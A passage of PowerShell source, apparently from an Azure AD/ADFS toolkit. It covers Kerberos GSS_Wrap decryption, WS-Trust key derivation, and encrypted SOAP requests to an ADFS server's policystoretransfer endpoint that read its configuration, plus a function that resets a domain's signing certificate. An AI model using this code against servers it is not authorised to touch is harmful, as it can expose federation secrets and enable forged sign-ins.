||||
}
|
||||
|
||||
#May 25th 2019
|
||||
function Update-ADFSFederationSettings
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Updates federation information of the given domain to match the local ADFS server information.
|
||||
|
||||
.Description
|
||||
Updates federation information of the given domain to match the local ADFS server information.
|
||||
|
||||
.Parameter AccessToken
|
||||
Access Token
|
||||
|
||||
.Parameter Domain
|
||||
The domain to be updated
|
||||
|
||||
.Example
|
||||
Update-AADIntADFSFederationSettings -Domain company.com
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$DomainName
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
|
||||
|
||||
# Get the current settings from cloud
|
||||
$FederationSettings = Get-DomainFederationSettings -DomainName $DomainName -AccessToken $AccessToken
|
||||
|
||||
# Get the current certificates
|
||||
$Cur_SigningCertificate = Get-AdfsCertificate -CertificateType Token-Signing
|
||||
|
||||
#$Cur_PublicKey = [Convert]::ToBase64String($Cur_SigningCertificate.Certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Pkcs12))
|
||||
$Cur_PublicKey = [Convert]::ToBase64String($Cur_SigningCertificate.Certificate.GetRawCertData())
|
||||
|
||||
# Check the settings
|
||||
if($Cur_PublicKey -eq $FederationSettings.SigningCertificate)
|
||||
{
|
||||
Write-Host "Settings already up to date!"
|
||||
return
|
||||
}
|
||||
|
||||
# Update federation settings
|
||||
Set-DomainFederationSettings -AccessToken $AccessToken -DomainName $DomainName `
|
||||
-ActiveLogOnUri $FederationSettings.ActiveLogOnUri `
|
||||
-FederationBrandName $FederationSettings.FederationBrandName `
|
||||
-IssuerUri $FederationSettings.IssuerUri `
|
||||
-LogOffUri $FederationSettings.LogOffUri `
|
||||
-MetadataExchangeUri $FederationSettings.MetadataExchangeUri `
|
||||
-PassiveLogOnUri $FederationSettings.PassiveLogOnUri `
|
||||
-PreferredAuthenticationProtocol $FederationSettings.PreferredAuthenticationProtocol `
|
||||
-SigningCertificate $Cur_PublicKey
|
||||
|
||||
Write-Host "Federation information updated!"
|
||||
}
|
||||
}
|
||||
|
||||
# Parses GSS_Wrap and returns the encrypted data part
|
||||
# Apr 1st 2021
|
||||
function Parse-GSS_Wrap
|
||||
{
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[Byte[]]$Data,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[Byte[]]$SessionKey,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[ValidateSet('Initiator','Acceptor')]
|
||||
[String]$Direction = 'Initiator',
|
||||
[Parameter(Mandatory=$True)]
|
||||
[Int]$SequenceNumber,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[Int]$Type = 23 # 23 = rc4-hmac, 18 = aes256-cts-hmac-sha1-96
|
||||
)
|
||||
Process
|
||||
{
|
||||
if($Type -eq 18 ) # aes256-cts-hmac-sha1-96
|
||||
{
|
||||
# TODO: implement support for this
|
||||
Throw "Unsupported GSS_WRAP type: $Type"
|
||||
|
||||
$s = 0
|
||||
|
||||
# Get the token header information
|
||||
$TOK_ID = $Data[$s..($s+1)] ; $s+=2
|
||||
$Flags = $Data[ $s] ; $s+=1
|
||||
$Filler = $Data[ $s] ; $s+=1
|
||||
$EC = $Data[$s..($s+1)] ; $s+=2
|
||||
$RRC = $Data[$s..($s+1)] ; $s+=2
|
||||
$SND_SEQ = $Data[$s..($s+7)] ; $s+=8
|
||||
|
||||
[array]::Reverse($RRC)
|
||||
$rotations = [bitconverter]::TouInt16($RRC,0)
|
||||
|
||||
|
||||
[array]::Reverse($SND_SEQ)
|
||||
if([bitconverter]::TouInt32($SND_SEQ,0) -ne $SequenceNumber)
|
||||
{
|
||||
Write-Warning "Sequence number mismatch!"
|
||||
}
|
||||
|
||||
# Extract token information
|
||||
$encData = $Data[$s..($data.Count - 1)]
|
||||
|
||||
# Rotate the data
|
||||
for($r = 0; $r -lt $rotations; $r++)
|
||||
{
|
||||
$t = $encData[$encData.Count-1]
|
||||
for($i = $encData.Count-1 ; $i -gt 0; $i--)
|
||||
{
|
||||
$encData[$i] = $encData[$i-1]
|
||||
}
|
||||
$encData[0] = $t
|
||||
|
||||
}
|
||||
$encData | Format-Hex
|
||||
|
||||
return
|
||||
}
|
||||
elseif($Type -eq 23) # rc4-hmac
|
||||
{
|
||||
|
||||
# Generate the sequence number from the given integer and add "direction" bytes
|
||||
$SND_SEQ = [System.BitConverter]::GetBytes([uint32]$SequenceNumber)
|
||||
[Array]::Reverse($SND_SEQ)
|
||||
if($Direction -eq 'Initiator')
|
||||
{
|
||||
$SND_SEQ += @(0xff, 0xff, 0xff, 0xff)
|
||||
}
|
||||
else
|
||||
{
|
||||
$SND_SEQ += @(0x00, 0x00, 0x00, 0x00)
|
||||
}
|
||||
|
||||
# Get object identifier
|
||||
$tokLen = $Data[1]
|
||||
$oidLen = $Data[3]
|
||||
$oid = Convert-BytesToOid -Bytes $Data[4..(4+$oidLen-1)]
|
||||
$s = 4+$oidLen
|
||||
|
||||
# Save the header for checksum calculation
|
||||
$TOKEN_HEADER = $Data[$s..($s+7)]
|
||||
|
||||
# Get the token header information
|
||||
$TOK_ID = $Data[$s..($s+1)] ; $s+=2
|
||||
$SGN_ALG = $Data[$s..($s+1)] ; $s+=2
|
||||
$SEAL_ALG = $Data[$s..($s+1)] ; $s+=2
|
||||
$Filler = $Data[$s..($s+1)] ; $s+=2
|
||||
|
||||
# Extract token information
|
||||
$encSND_SEQ = $Data[$s..($s+7)] ; $s+=8
|
||||
$SGN_CHKSUM = $Data[$s..($s+7)] ; $s+=8
|
||||
$encSGN_Confounder = $Data[$s..($s+7)] ; $s+=8
|
||||
$encData = $Data[$s..($data.Count - 1)]
|
||||
|
||||
# Validation
|
||||
# Token id should be 0x0102
|
||||
if(($tid=[System.BitConverter]::ToInt16($TOK_ID,0)) -ne 0x102)
|
||||
{
|
||||
Write-Warning "Unknown TOKEN_ID ($tid), expected 256"
|
||||
}
|
||||
# Signing algorithm should be HMAC 0x0011
|
||||
if(($sgalg=[System.BitConverter]::ToInt16($SGN_ALG,0)) -ne 0x11)
|
||||
{
|
||||
Write-Warning "Unknown SGN_ALG ($sgalg), expected HMAC (17)"
|
||||
}
|
||||
# Encryption algorithm should be RC4 0x0010
|
||||
if(($enalg=[System.BitConverter]::ToInt16($SEAL_ALG,0)) -ne 0x10)
|
||||
{
|
||||
Write-Warning "Unknown SEAL_ALG ($enalg), expected RC4 (16)"
|
||||
}
|
||||
|
||||
# Generate signature key by calculating MD5 HMAC from "signaturekey"+0x00 using the session key
|
||||
$Ksign = [System.Security.Cryptography.HMACMD5]::New($SessionKey).ComputeHash([text.encoding]::UTF8.GetBytes("signaturekey`0"))
|
||||
|
||||
# Generate decryption keys
|
||||
$Klocal = New-Object byte[] $SessionKey.Count
|
||||
for($a = 0 ; $a -lt $SessionKey.Count ; $a++)
|
||||
{
|
||||
$Klocal[$a] = $SessionKey[$a] -bxor 0xF0
|
||||
}
|
||||
|
||||
$Kseq = [System.Security.Cryptography.HMACMD5]::New($SessionKey).ComputeHash([byte[]]@(0x00, 0x00, 0x00, 0x00))
|
||||
$Kseq = [System.Security.Cryptography.HMACMD5]::New($Kseq ).ComputeHash($SGN_CHKSUM)
|
||||
|
||||
$Kcrypt = [System.Security.Cryptography.HMACMD5]::New($Klocal ).ComputeHash([byte[]]@(0x00, 0x00, 0x00, 0x00))
|
||||
$Kcrypt = [System.Security.Cryptography.HMACMD5]::New($Kcrypt ).ComputeHash($SND_SEQ[0..3])
|
||||
|
||||
# Decrypt sequence number
|
||||
$decSND_SEQ = Get-RC4 -Key $Kseq -Data $encSND_SEQ
|
||||
if(Compare-Object -ReferenceObject $decSND_SEQ -DifferenceObject $SND_SEQ -SyncWindow 0)
|
||||
{
|
||||
Write-Warning "Sequence number mismatch!"
|
||||
}
|
||||
|
||||
# Decrypt data
|
||||
$decSGN_Confounder = Get-RC4 -Key $Kcrypt -Data $encSGN_Confounder
|
||||
$decData = Get-RC4 -Key $Kcrypt -Data @($decSGN_Confounder + $encData)
|
||||
$decData = $decData[8..($decData.Count-1)]
|
||||
$decSGN_CHKSUM = Get-RC4 -Key $Kcrypt -Data $encSGN_CHKSUM
|
||||
|
||||
# Calculate MD5 checksum: Salt + header + confounder + data
|
||||
$SGN_CHKSUM2 = [System.Security.Cryptography.MD5 ]::Create().ComputeHash(@(@(13,0,0,0) + $TOKEN_HEADER + $decSGN_Confounder + $decData))
|
||||
$SGN_CHKSUM2 = ([System.Security.Cryptography.HMACMD5]::New($Ksign).ComputeHash($SGN_CHKSUM2))[0..7]
|
||||
|
||||
if(Compare-Object -ReferenceObject $SGN_CHKSUM -DifferenceObject $SGN_CHKSUM2 -SyncWindow 0)
|
||||
{
|
||||
Write-Warning "Invalid checksum!"
|
||||
}
|
||||
|
||||
return $decData
|
||||
}
|
||||
else
|
||||
{
|
||||
Throw "Unsupported GSS_WRAP type: $Type"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# pHash
|
||||
# https://www.ietf.org/rfc/rfc2246.txt
|
||||
# Apr 5th 2021
|
||||
function Get-PSHA1
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$Secret,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$Seed,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[int]$Bytes=32
|
||||
)
|
||||
Process
|
||||
{
|
||||
[System.Security.Cryptography.HMACSHA1]$HMAC = [System.Security.Cryptography.HMACSHA1]::New($Secret)
|
||||
$PSHA1=@()
|
||||
|
||||
$A = $seed
|
||||
$p = 0
|
||||
|
||||
while($p -lt $Bytes)
|
||||
{
|
||||
$A = $HMAC.ComputeHash($A)
|
||||
$PSHA1 += $HMAC.ComputeHash(($A + $Seed))
|
||||
$p+=$A.Count
|
||||
}
|
||||
|
||||
$HMAC.Dispose()
|
||||
|
||||
return [byte[]]($PSHA1[0..($Bytes-1)])
|
||||
}
|
||||
}
|
||||
|
||||
# Decrypts the given ciphertext
|
||||
# Apr 9th 2021
|
||||
function Decrypt-WSTrustCipherData
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$CipherText,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$Key
|
||||
)
|
||||
Process
|
||||
{
|
||||
# The first 16 bytes are the IV
|
||||
$InitialVector = $cipherText[0..15]
|
||||
$encText = $cipherText[16..($cipherText.Count-1)]
|
||||
|
||||
# Decrypt the cipher text
|
||||
[System.Security.Cryptography.Aes]$AES = [System.Security.Cryptography.Aes]::Create()
|
||||
$AES.Mode = "CBC"
|
||||
$AES.Key = $Key
|
||||
$AES.IV = $InitialVector
|
||||
$transformer = $AES.CreateDecryptor()
|
||||
|
||||
$ms = New-Object System.IO.MemoryStream
|
||||
$cs = New-Object System.Security.Cryptography.CryptoStream($ms,$transformer,[System.Security.Cryptography.CryptoStreamMode]::Write)
|
||||
$cs.Write($encText,0,$encText.Count)
|
||||
$cs.Close()
|
||||
$cs.Dispose()
|
||||
|
||||
$transformedData = $ms.ToArray()
|
||||
$ms.Close()
|
||||
$ms.Dispose()
|
||||
|
||||
return $transformedData
|
||||
}
|
||||
}
|
||||
|
||||
# Encrypts the given plaintext
|
||||
# Apr 10th 2021
|
||||
function Encrypt-WSTrustCipherData
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$PlainText,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$Key
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Create a random IV
|
||||
$InitialVector = Get-RandomBytes -Bytes 16
|
||||
|
||||
# Encrypt the cipher text
|
||||
[System.Security.Cryptography.Aes]$AES = [System.Security.Cryptography.Aes]::Create()
|
||||
$AES.Mode = "CBC"
|
||||
$AES.Key = $Key
|
||||
$AES.IV = $InitialVector
|
||||
$transformer = $AES.CreateEncryptor()
|
||||
|
||||
$ms = New-Object System.IO.MemoryStream
|
||||
$cs = New-Object System.Security.Cryptography.CryptoStream($ms,$transformer,[System.Security.Cryptography.CryptoStreamMode]::Write)
|
||||
$cs.Write($PlainText,0,$PlainText.Count)
|
||||
$cs.Close()
|
||||
$cs.Dispose()
|
||||
|
||||
$transformedData = $ms.ToArray()
|
||||
$ms.Close()
|
||||
$ms.Dispose()
|
||||
|
||||
return [byte[]]($InitialVector+$transformedData)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
# Derives the key from proof token and nonce
|
||||
# Apr 9th 2021
|
||||
function Derive-WSTrustKey
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$Key,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$Nonce,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[int]$Bytes = 32
|
||||
)
|
||||
Begin
|
||||
{
|
||||
# Default label (mis)used by Microsoft
|
||||
$Label = [text.encoding]::ASCII.GetBytes("WS-SecureConversationWS-SecureConversation")
|
||||
}
|
||||
Process
|
||||
{
|
||||
$derivedKey = Get-PSHA1 -Secret $Key -Seed ($label+$Nonce) -Bytes $Bytes
|
||||
|
||||
return $derivedKey
|
||||
}
|
||||
}
|
||||
|
||||
# Creates a SOAP envelope for RST
|
||||
# Apr 13th 2021
|
||||
function Create-RSTEnvelope
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$Server,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$KerberosTicket
|
||||
)
|
||||
Process
|
||||
{
|
||||
$messageId = (New-Guid).ToString()
|
||||
$envelope=@"
|
||||
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">
|
||||
<s:Header>
|
||||
<a:Action s:mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue</a:Action>
|
||||
<a:MessageID>urn:uuid:$messageId</a:MessageID>
|
||||
<a:ReplyTo>
|
||||
<a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
|
||||
</a:ReplyTo>
|
||||
<a:To s:mustUnderstand="1">http://$Server/adfs/services/policystoretransfer</a:To>
|
||||
</s:Header>
|
||||
<s:Body>
|
||||
<t:RequestSecurityToken Context="uuid-$((New-Guid).ToString())" xmlns:t="http://schemas.xmlsoap.org/ws/2005/02/trust">
|
||||
<t:TokenType>http://schemas.xmlsoap.org/ws/2005/02/sc/sct</t:TokenType>
|
||||
<t:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</t:RequestType>
|
||||
<t:KeySize>256</t:KeySize>
|
||||
<t:BinaryExchange ValueType="http://schemas.xmlsoap.org/ws/2005/02/trust/spnego" EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary">$KerberosTicket</t:BinaryExchange>
|
||||
</t:RequestSecurityToken>
|
||||
</s:Body>
|
||||
</s:Envelope>
|
||||
"@
|
||||
|
||||
return $envelope
|
||||
}
|
||||
}
|
||||
|
||||
# Parse RST response
|
||||
# Apr 14th 2021
|
||||
function Parse-RSTR
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[xml]$RSTR,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$Key
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Extract information from the RSTR
|
||||
$krb_response = Convert-B64ToByteArray -B64 $RSTR.Envelope.Body.RequestSecurityTokenResponseCollection.RequestSecurityTokenResponse[0].BinaryExchange.'#text'
|
||||
$proofToken = Convert-B64ToByteArray -B64 $RSTR.Envelope.Body.RequestSecurityTokenResponseCollection.RequestSecurityTokenResponse[0].RequestedProofToken.EncryptedKey.CipherData.CipherValue
|
||||
$keyIdentifier = [guid](($RSTR.Envelope.Body.RequestSecurityTokenResponseCollection.RequestSecurityTokenResponse[0].RequestedSecurityToken.SecurityContextToken.Identifier).Split(":")[2])
|
||||
$context = $RSTR.Envelope.Body.RequestSecurityTokenResponseCollection.RequestSecurityTokenResponse[0].RequestedSecurityToken.SecurityContextToken.Id
|
||||
|
||||
# Parse the ticket
|
||||
$ticket = Parse-Asn1 -Data $krb_response
|
||||
|
||||
# Get the encrypted kerberos ticket
|
||||
$encKRB = $ticket.Data.Data[2].Data.Data
|
||||
$encKRB = Parse-Asn1 -Data $encKRB
|
||||
$encKRB = $encKRB.Data[2].Data.Data[2].Data.Data[1].Data.Data
|
||||
|
||||
# Decrypt the ticket
|
||||
$decKRB = Decrypt-Kerberos -Data $encKRB -Key $Key -Type APRepPart -Crypto RC4
|
||||
$decKRB = Parse-Asn1 -Data $decKRB
|
||||
|
||||
# Get the sequence number and subkey
|
||||
$SequenceNumber = $decKRB.Data.Data[3].Data.Data
|
||||
$SubKey = $decKRB.Data.Data[2].Data.Data[1].Data.Data
|
||||
$EncryptionType = $decKRB.Data.Data[2].Data.Data[0].Data.Data
|
||||
|
||||
Write-Verbose "Subkey: $(Convert-ByteArrayToB64 -Bytes $subKey)"
|
||||
Write-Verbose "Sequence num: $sequenceNumber"
|
||||
|
||||
# Extract the key from the proof token
|
||||
$securityKey = (Parse-GSS_Wrap -Type $EncryptionType -Data $proofToken -SessionKey $subKey -Direction Initiator -SequenceNumber $sequenceNumber)[0..31]
|
||||
|
||||
Write-Verbose "Security key: $(Convert-ByteArrayToB64 -Bytes $securityKey)"
|
||||
Write-Verbose "Context: $context"
|
||||
Write-Verbose "Identifier: $keyIdentifier"
|
||||
|
||||
# Construct the return value
|
||||
$retVal = New-Object psobject -Property @{"Context" = $context; "Key" = $securityKey; "Identifier" = $keyIdentifier}
|
||||
|
||||
return $retVal
|
||||
}
|
||||
}
|
||||
|
||||
# Creates a SOAP envelope for RST SCT
|
||||
# Apr 14th 2021
|
||||
function Create-SCTEnvelope
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$Key,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$ClientSecret,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Context,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[guid]$KeyIdentifier,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$Server
|
||||
)
|
||||
Process
|
||||
{
|
||||
|
||||
$payload = "<t:RequestSecurityToken xmlns:t=""http://schemas.xmlsoap.org/ws/2005/02/trust""><t:TokenType>http://schemas.xmlsoap.org/ws/2005/02/sc/sct</t:TokenType><t:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</t:RequestType><t:Entropy><t:BinarySecret Type=""http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce"" u:Id=""uuid-$((New-Guid).ToString())"">$(Convert-ByteArrayToB64 -Bytes $ClientSecret)</t:BinarySecret></t:Entropy><t:KeySize>256</t:KeySize></t:RequestSecurityToken>"
|
||||
$action = "http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT"
|
||||
|
||||
$envelope = Create-ADFSSoapEnvelope -Key $Key -Context $Context -KeyIdentifier $KeyIdentifier -Server $Server -Payload $payload -Action $action
|
||||
|
||||
return $envelope
|
||||
}
|
||||
}
|
||||
|
||||
# Parse CST response
|
||||
# Apr 14th 2021
|
||||
function Parse-SCTR
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[xml]$SCTR,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$Key
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Parse the response and fetch the server secret
|
||||
[xml]$xPlaintext = Parse-ADFSResponse -Response $SCTR -Key $Key
|
||||
$token = $xPlaintext.RequestSecurityTokenResponse.Entropy.BinarySecret.'#text'
|
||||
|
||||
$serverSecret = Convert-B64ToByteArray -B64 $token
|
||||
$computedKey = Get-PSHA1 -Secret $clientSecret -Seed $serverSecret -Bytes 32
|
||||
|
||||
$context = $xPlaintext.RequestSecurityTokenResponse.RequestedSecurityToken.SecurityContextToken.Id
|
||||
$keyIdentifier = [guid](($xPlaintext.RequestSecurityTokenResponse.RequestedSecurityToken.SecurityContextToken.Identifier).Split(":")[2])
|
||||
|
||||
Write-Verbose "Server secret: $(Convert-ByteArrayToB64 -Bytes $serverSecret)"
|
||||
Write-Verbose "Computed key: $(Convert-ByteArrayToB64 -Bytes $computedKey)"
|
||||
Write-Verbose "Context: $context"
|
||||
Write-Verbose "Identifier: $keyIdentifier"
|
||||
|
||||
# Construct the return value
|
||||
$retVal = New-Object psobject -Property @{"Context" = $context; "Key" = $computedKey; "Identifier" = $keyIdentifier}
|
||||
|
||||
return $retVal
|
||||
}
|
||||
}
|
||||
|
||||
# Checks whether the response is a soap error
|
||||
# Apr 15th 2021
|
||||
function Check-SoapError
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[xml]$Message
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Check for the fault message
|
||||
if($Message.Envelope.Body.Fault)
|
||||
{
|
||||
$Message = $Message.Envelope.Body.Fault.OuterXml
|
||||
}
|
||||
|
||||
if($Message.Fault)
|
||||
{
|
||||
$reason = $Message.Fault.Reason.Text.'#text'
|
||||
throw $reason
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Parse ADFS Soap response
|
||||
# Apr 14th 2021
|
||||
function Parse-ADFSResponse
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[xml]$Response,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$Key
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Extract nonce and cipher texts
|
||||
# The first nonce is used to derive key used for ENCRYPTING, the second one is for SIGNING
|
||||
# The cipher data in header is the signature block, which is not needed here
|
||||
|
||||
#$nonce0 = Convert-B64ToByteArray -B64 $Response.Envelope.Header.Security.DerivedKeyToken[0].Nonce
|
||||
#$cipher0 = Convert-B64ToByteArray -B64 $Response.Envelope.Header.Security.EncryptedData.CipherData.CipherValue
|
||||
$nonce1 = Convert-B64ToByteArray -B64 $Response.Envelope.Header.Security.DerivedKeyToken[1].Nonce
|
||||
$cipher1 = Convert-B64ToByteArray -B64 $Response.Envelope.Body.EncryptedData.CipherData.CipherValue
|
||||
|
||||
# Derive the key
|
||||
$derivedKey = Derive-WSTrustKey -Key $Key -Nonce $nonce1
|
||||
|
||||
Write-Verbose "Nonce: $(Convert-ByteArrayToB64 -Bytes $nonce1)"
|
||||
Write-Verbose "Derived key: $(Convert-ByteArrayToB64 -Bytes $derivedKey)"
|
||||
|
||||
# Decrypt the cipher data
|
||||
#$bPlainText = Decrypt-WSTrustCipherData -CipherText $cipher0 -Key $derivedKey
|
||||
#$plainText = [text.encoding]::UTF8.GetString($bPlainText)
|
||||
$bPlainText = Decrypt-WSTrustCipherData -CipherText $cipher1 -Key $derivedKey
|
||||
$plainText = [text.encoding]::UTF8.GetString($bPlainText)
|
||||
|
||||
Check-SoapError -Message $plainText
|
||||
|
||||
return $plainText
|
||||
}
|
||||
}
|
||||
|
||||
# Creates a SOAP envelope for ADFS request
|
||||
# Apr 14th 2021
|
||||
function Create-ADFSRequest
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$Key,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Context,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[guid]$KeyIdentifier,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$Server
|
||||
)
|
||||
Process
|
||||
{
|
||||
$payload = "<GetState xmlns=""http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore""><serviceObjectType>ServiceSettings</serviceObjectType><mask xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" i:nil=""true""></mask><filter xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" i:nil=""true""></filter><clientVersionNumber>1</clientVersionNumber></GetState>"
|
||||
$action = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore/IPolicyStoreReadOnlyTransfer/GetState"
|
||||
|
||||
$envelope = Create-ADFSSoapEnvelope -Key $Key -Context $Context -KeyIdentifier $KeyIdentifier -Server $Server -Payload $payload -Action $action
|
||||
|
||||
return $envelope
|
||||
}
|
||||
}
|
||||
|
||||
# Invokes a ADFS SOAP request
|
||||
# Apr 13th 2021
|
||||
function Invoke-ADFSSoapRequest
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$Key,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Context,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[guid]$KeyIdentifier,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$Server,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$Command
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Create the envelope
|
||||
$payload = "<GetState xmlns=""http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore""><serviceObjectType>$Command</serviceObjectType><mask xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" i:nil=""true""></mask><filter xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" i:nil=""true""></filter><clientVersionNumber>1</clientVersionNumber></GetState>"
|
||||
$action = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore/IPolicyStoreReadOnlyTransfer/GetState"
|
||||
$envelope = Create-ADFSSoapEnvelope -Key $Key -Context $Context -KeyIdentifier $KeyIdentifier -Server $server -Payload $payload -Action $action
|
||||
|
||||
try
|
||||
{
|
||||
[xml]$response = Invoke-RestMethod -UseBasicParsing -uri "http://$Server/adfs/services/policystoretransfer" -Method Post -Body $envelope -ContentType "application/soap+xml"
|
||||
}
|
||||
catch
|
||||
{
|
||||
# Catch the error and try to parse the SOAP document
|
||||
$str=$_.Exception.Response.GetResponseStream()
|
||||
$buf = new-object byte[] $str.Length
|
||||
$str.Position = 0
|
||||
$str.Read($buf,0,$str.Length) | Out-Null
|
||||
[xml]$response=[text.encoding]::UTF8.GetString($buf)
|
||||
}
|
||||
|
||||
return Parse-ADFSResponse -Response $response -Key $Key
|
||||
}
|
||||
}
|
||||
|
||||
# Creates a SOAP envelope for the second RST request
|
||||
# Apr 13th 2021
|
||||
function Create-ADFSSoapEnvelope
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$Key,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Context,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[guid]$KeyIdentifier,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$Server,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$Payload,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string]$Action
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Set some required variables
|
||||
$STSContext = $Context
|
||||
$messageID = (New-Guid).ToString()
|
||||
$STIdentifier = $KeyIdentifier.ToString()
|
||||
$TSIdentifier = (New-Guid).ToString()
|
||||
$now = Get-Date
|
||||
$exp = $now.AddMinutes(5)
|
||||
$created = $now.ToUniversalTime().ToString("s", [cultureinfo]::InvariantCulture)+"Z"
|
||||
$expires = $exp.ToUniversalTime().ToString("s", [cultureinfo]::InvariantCulture)+"Z"
|
||||
|
||||
# Create nonce and derive keys for signing and encrypting
|
||||
$nonce0 = Get-RandomBytes -Bytes 16
|
||||
$nonce1 = Get-RandomBytes -Bytes 16
|
||||
$signingKey = Derive-WSTrustKey -Key $Key -Nonce $nonce0 -Bytes 24
|
||||
$encryptionKey = Derive-WSTrustKey -Key $Key -Nonce $nonce1 -Bytes 32
|
||||
|
||||
|
||||
# Create the SOAP request and encrypt it
|
||||
|
||||
$cipherText = Convert-ByteArrayToB64 -Bytes (Encrypt-WSTrustCipherData -PlainText ([text.encoding]::UTF8.GetBytes($Payload)) -Key $encryptionKey)
|
||||
|
||||
#
|
||||
# Create required xml elements.
|
||||
# Note! Due to canonicalization MS is using in the back-end, the xml MUST NOT HAVE ANY WHITE SPACES!
|
||||
# All xml elements here are already canonicalized with C14N exclusive. So, changing order of any attributes etc. will break the signature!
|
||||
#
|
||||
|
||||
# Create a body element
|
||||
